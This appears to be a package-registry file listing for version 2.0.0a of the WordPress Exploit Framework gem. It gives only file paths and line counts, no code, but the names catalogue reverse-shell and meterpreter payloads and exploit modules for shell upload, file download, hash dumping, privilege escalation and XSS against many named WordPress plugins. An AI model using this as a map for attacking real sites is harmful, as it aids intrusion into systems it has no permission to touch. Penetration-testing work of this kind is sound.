wpxf 2.0.0a
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/bin/wpxf +52 -0
- data/data/banners/default.txt +16 -0
- data/data/js/ajax_download.js +33 -0
- data/data/js/ajax_post.js +18 -0
- data/data/js/create_wp_user.js +24 -0
- data/data/js/post.js +20 -0
- data/data/json/browser_usage_by_frequency.json +64 -0
- data/data/json/commands.json +116 -0
- data/data/php/bind_php.php +43 -0
- data/data/php/download_exec.php +36 -0
- data/data/php/exec.php +3 -0
- data/data/php/exec_methods.php +47 -0
- data/data/php/meterpreter_bind_tcp.php +1 -0
- data/data/php/meterpreter_bind_tcp_ipv6.php +1 -0
- data/data/php/meterpreter_reverse_tcp.php +1 -0
- data/data/php/preamble.php +17 -0
- data/data/php/reverse_tcp.php +76 -0
- data/db/config.yml +17 -0
- data/db/env.rb +19 -0
- data/db/migrations/001_create_workspaces.rb +15 -0
- data/db/migrations/002_create_credentials.rb +20 -0
- data/db/migrations/003_add_credential_type.rb +13 -0
- data/db/migrations/004_add_unique_workspace_name_index.rb +19 -0
- data/db/migrations/005_add_logs.rb +16 -0
- data/db/migrations/006_create_modules.rb +18 -0
- data/db/migrations/007_create_loot_items.rb +21 -0
- data/lib/wpxf.rb +54 -0
- data/lib/wpxf/cli/auto_complete.rb +121 -0
- data/lib/wpxf/cli/banner.rb +47 -0
- data/lib/wpxf/cli/console.rb +146 -0
- data/lib/wpxf/cli/context.rb +35 -0
- data/lib/wpxf/cli/creds.rb +56 -0
- data/lib/wpxf/cli/help.rb +125 -0
- data/lib/wpxf/cli/loaded_module.rb +67 -0
- data/lib/wpxf/cli/loot.rb +81 -0
- data/lib/wpxf/cli/module_cache.rb +59 -0
- data/lib/wpxf/cli/module_info.rb +62 -0
- data/lib/wpxf/cli/modules.rb +94 -0
- data/lib/wpxf/cli/options.rb +105 -0
- data/lib/wpxf/cli/output.rb +110 -0
- data/lib/wpxf/cli/workspace.rb +80 -0
- data/lib/wpxf/core.rb +18 -0
- data/lib/wpxf/core/data_file.rb +27 -0
- data/lib/wpxf/core/event_emitter.rb +30 -0
- data/lib/wpxf/core/module.rb +140 -0
- data/lib/wpxf/core/module_authentication.rb +48 -0
- data/lib/wpxf/core/module_info.rb +74 -0
- data/lib/wpxf/core/options.rb +175 -0
- data/lib/wpxf/core/opts/boolean_option.rb +37 -0
- data/lib/wpxf/core/opts/enum_option.rb +15 -0
- data/lib/wpxf/core/opts/integer_option.rb +74 -0
- data/lib/wpxf/core/opts/option.rb +121 -0
- data/lib/wpxf/core/opts/path_option.rb +15 -0
- data/lib/wpxf/core/opts/port_option.rb +25 -0
- data/lib/wpxf/core/opts/string_option.rb +33 -0
- data/lib/wpxf/core/output_emitters.rb +67 -0
- data/lib/wpxf/core/payload.rb +135 -0
- data/lib/wpxf/db.rb +17 -0
- data/lib/wpxf/db/credentials.rb +37 -0
- data/lib/wpxf/db/loot.rb +19 -0
- data/lib/wpxf/helpers/export.rb +48 -0
- data/lib/wpxf/models/credential.rb +29 -0
- data/lib/wpxf/models/log.rb +22 -0
- data/lib/wpxf/models/loot_item.rb +37 -0
- data/lib/wpxf/models/module.rb +32 -0
- data/lib/wpxf/models/workspace.rb +28 -0
- data/lib/wpxf/modules.rb +62 -0
- data/lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb +129 -0
- data/lib/wpxf/modules/auxiliary/dos/long_password_dos.rb +141 -0
- data/lib/wpxf/modules/auxiliary/dos/post_grid_file_deletion.rb +67 -0
- data/lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb +83 -0
- data/lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb +54 -0
- data/lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb +68 -0
- data/lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb +41 -0
- data/lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb +41 -0
- data/lib/wpxf/modules/auxiliary/file_download/cp_image_store_arbitrary_file_download.rb +82 -0
- data/lib/wpxf/modules/auxiliary/file_download/direct_download_for_woocommerce_file_download.rb +60 -0
- data/lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb +169 -0
- data/lib/wpxf/modules/auxiliary/file_download/ghost_unrestricted_export_download.rb +85 -0
- data/lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb +50 -0
- data/lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb +42 -0
- data/lib/wpxf/modules/auxiliary/file_download/mail_masta_unauthenticated_local_file_inclusion.rb +48 -0
- data/lib/wpxf/modules/auxiliary/file_download/membership_simplified_arbitrary_file_download.rb +50 -0
- data/lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb +41 -0
- data/lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb +42 -0
- data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_disclosure.rb +79 -0
- data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_download.rb +69 -0
- data/lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb +43 -0
- data/lib/wpxf/modules/auxiliary/file_download/site_editor_file_download.rb +53 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb +42 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_hide_security_enhancer_file_download.rb +51 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb +141 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_vault_file_download.rb +46 -0
- data/lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb +43 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb +59 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/gallery_album_hash_dump.rb +61 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/jtrt_responsive_tables_hash_dump.rb +69 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/registrationmagic_hash_dump.rb +62 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/simple_ads_manager_hash_dump.rb +67 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb +69 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb +59 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_csv_importer_user_extract.rb +133 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_product_catalogue_hash_dump.rb +60 -0
- data/lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb +106 -0
- data/lib/wpxf/modules/auxiliary/info/download_monitor_log_export.rb +111 -0
- data/lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb +103 -0
- data/lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb +86 -0
- data/lib/wpxf/modules/auxiliary/info/user_meta_manager_information_disclosure.rb +96 -0
- data/lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb +53 -0
- data/lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb +60 -0
- data/lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb +86 -0
- data/lib/wpxf/modules/auxiliary/misc/email_users_csrf_bulk_mail.rb +89 -0
- data/lib/wpxf/modules/auxiliary/misc/qards_local_port_scan.rb +66 -0
- data/lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb +124 -0
- data/lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb +107 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb +125 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_authenticated_privilege_escalation.rb +71 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_privilege_escalation.rb +92 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/easy_cart_privilege_escalation.rb +92 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/platform_privilege_escalation.rb +93 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb +154 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb +76 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb +57 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb +92 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb +117 -0
- data/lib/wpxf/modules/exploit/rfi/advanced_custom_fields_remote_file_inclusion.rb +98 -0
- data/lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/rfi/flickr_picture_backup_rfi_shell_upload.rb +94 -0
- data/lib/wpxf/modules/exploit/rfi/gwolle_guestbook_remote_file_inclusion.rb +96 -0
- data/lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb +90 -0
- data/lib/wpxf/modules/exploit/shell/accesspress_anonymous_post_pro_shell_upload.rb +71 -0
- data/lib/wpxf/modules/exploit/shell/acf_frontend_display_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/shell/adblock_blocker_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/shell/admin_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/shell/aries_revslider_shell_upload.rb +17 -0
- data/lib/wpxf/modules/exploit/shell/avada_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/awake_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/beach_apollo_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/bretheon_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/centum_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/charity_theme_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/shell/construct_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/creative_contact_form_shell_upload.rb +82 -0
- data/lib/wpxf/modules/exploit/shell/delete_all_comments_shell_upload.rb +65 -0
- data/lib/wpxf/modules/exploit/shell/designfolio_plus_shell_upload.rb +50 -0
- data/lib/wpxf/modules/exploit/shell/divi_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb +174 -0
- data/lib/wpxf/modules/exploit/shell/echelon_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/elegance_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/shell/evo_theme_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/shell/front_end_file_upload_and_manager_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/shell/fusion_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/gallery_pro_theme_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb +92 -0
- data/lib/wpxf/modules/exploit/shell/holding_pattern_shell_upload.rb +56 -0
- data/lib/wpxf/modules/exploit/shell/inboundio_marketing_shell_upload.rb +82 -0
- data/lib/wpxf/modules/exploit/shell/incredible_wp_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/infusionsoft_shell_upload.rb +76 -0
- data/lib/wpxf/modules/exploit/shell/mailcwp_authenticated_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/shell/mailcwp_unauthenticated_shell_upload.rb +51 -0
- data/lib/wpxf/modules/exploit/shell/mailpoet_newsletters_shell_upload.rb +90 -0
- data/lib/wpxf/modules/exploit/shell/manbiz2_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/medicate_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/method_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/micro_theme_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/shell/mobile_app_builder_shell_upload.rb +31 -0
- data/lib/wpxf/modules/exploit/shell/mobile_app_native_v3_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/shell/mobile_friendly_app_builder_shell_upload.rb +29 -0
- data/lib/wpxf/modules/exploit/shell/modular_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/myriad_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb +82 -0
- data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_v1.9_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/shell/neosense_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb +83 -0
- data/lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb +153 -0
- data/lib/wpxf/modules/exploit/shell/persuasion_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/photo_album_plus_xss_shell_upload.rb +89 -0
- data/lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb +128 -0
- data/lib/wpxf/modules/exploit/shell/premium_seo_pack_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/shell/reflex_gallery_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/shell/revslider_shell_upload.rb +93 -0
- data/lib/wpxf/modules/exploit/shell/seabird_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/showbiz_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/simplecart_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/shell/soulmedic_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/striking_r_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb +110 -0
- data/lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb +85 -0
- data/lib/wpxf/modules/exploit/shell/tevolution_shell_upload.rb +50 -0
- data/lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb +132 -0
- data/lib/wpxf/modules/exploit/shell/ultimate_product_catalogue_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/shell/ultimatum_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb +70 -0
- data/lib/wpxf/modules/exploit/shell/webapp_builder_shell_upload.rb +29 -0
- data/lib/wpxf/modules/exploit/shell/windows_desktop_and_iphone_photo_uploader_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/shell/woocommerce_amazon_affiliates_v8_shell_upload.rb +81 -0
- data/lib/wpxf/modules/exploit/shell/woocommerce_product_addons_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/shell/work_the_flow_shell_upload.rb +57 -0
- data/lib/wpxf/modules/exploit/shell/wp2android_shell_upload.rb +29 -0
- data/lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/shell/wp_marketplace_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/shell/wp_support_plus_responsive_ticket_system_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/shell/wpshop_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/shell/wptouch_authenticated_shell_upload.rb +66 -0
- data/lib/wpxf/modules/exploit/shell/wsecure_lite_shell_upload.rb +57 -0
- data/lib/wpxf/modules/exploit/xss/reflected/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/admin_custom_login_reflected_xss_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/xss/reflected/adsense_plugin_reflected_xss_shell_upload.rb +21 -0
- data/lib/wpxf/modules/exploit/xss/reflected/affiliate_ads_builder_xss_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/xss/reflected/affiliatewp_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ajax_random_post_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_wp_security_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/alpine_photo_tile_for_instagram_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/anti_plagiarism_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/anyvar_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/atahualpa_reflected_xss_shell_upload.rb +66 -0
- data/lib/wpxf/modules/exploit/xss/reflected/backup_guard_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/brafton_content_importer_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_featured_posts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_google_analytics_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_google_maps_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_latest_posts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_linkedin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_panel_reflected_xss_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_pinterest_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_popular_posts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_portfolio_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_smtp_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_testimonials_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/caldera_forms_v1.5.4_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/captcha_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/car_rental_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/check_email_reflected_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/reflected/claptastic_clap_button_reflected_xss_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/xss/reflected/code_snippets_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/colorway_reflected_xss_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/xss/reflected/concours_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/contact_form_multi_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/contact_form_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/contact_form_to_db_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/content_grabber_reflected_xss_shell_upload.rb +43 -0
- data/lib/wpxf/modules/exploit/xss/reflected/content_slide_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/csv_import_export_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/csv_import_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_admin_page_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_fields_search_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_map_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_metas_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_permalinks_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_search_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/defa_online_image_protector_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/donate_button_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/duplicator_csrf_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/easy_contact_form_builder_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/emag_marketplace_connector_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/email_queue_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/email_users_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/enhanced_tooltip_glossary_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/error_log_viewer_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb +111 -0
- data/lib/wpxf/modules/exploit/xss/reflected/facebook_button_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/faq_wd_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/formbuilder_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gallery_categories_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gallery_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_analytics_dashboard_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_captcha_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_maps_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_one_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_shortlink_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_sitemap_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/hdw_tube_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/hero_maps_pro_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/htaccess_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/huge_it_image_gallery_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/import_woocommerce_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/impress_listings_reflected_xss_shell_upload.rb +87 -0
- data/lib/wpxf/modules/exploit/xss/reflected/indexisto_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/infusionsoft_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/instagram_feed_csrf_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/instalinker_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/job_board_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/job_manager_reflected_xss_shell_upload.rb +55 -0
- data/lib/wpxf/modules/exploit/xss/reflected/leenkme_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/lightbox_reflected_xss_shell_upload.rb +64 -0
- data/lib/wpxf/modules/exploit/xss/reflected/limit_attempts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/link_library_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/magic_fields_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_reflected_xss_shell_upload.rb +49 -0
- data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_v272_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/master_slider_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/maxbuttons_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/minimax_page_layout_builder_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/msmc_redirect_after_comment_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/multilanguage_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/new_year_firework_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ninja_forms_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/no_external_links_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ocim_mp3_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pagination_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pdf_print_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/xss/reflected/photo_gallery_xss_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pinterest_feed_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pondol_form_to_mail_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb +32 -0
- data/lib/wpxf/modules/exploit/xss/reflected/popcash_integration_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/popup_maker_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/portfolio_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/post_to_csv_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/profile_builder_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/profile_extra_fields_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/promobar_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/quiz_and_survey_master_reflected_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/reflected/quotes_and_tips_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/quotes_collection_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/rating_bws_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/re_attacher_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/realty_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/registrationmagic_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/relevant_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/responsive_lightbox_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/rockhoist_badges_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/sender_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/simpel_reserveren_reflected_xss_shell_upload.rb +34 -0
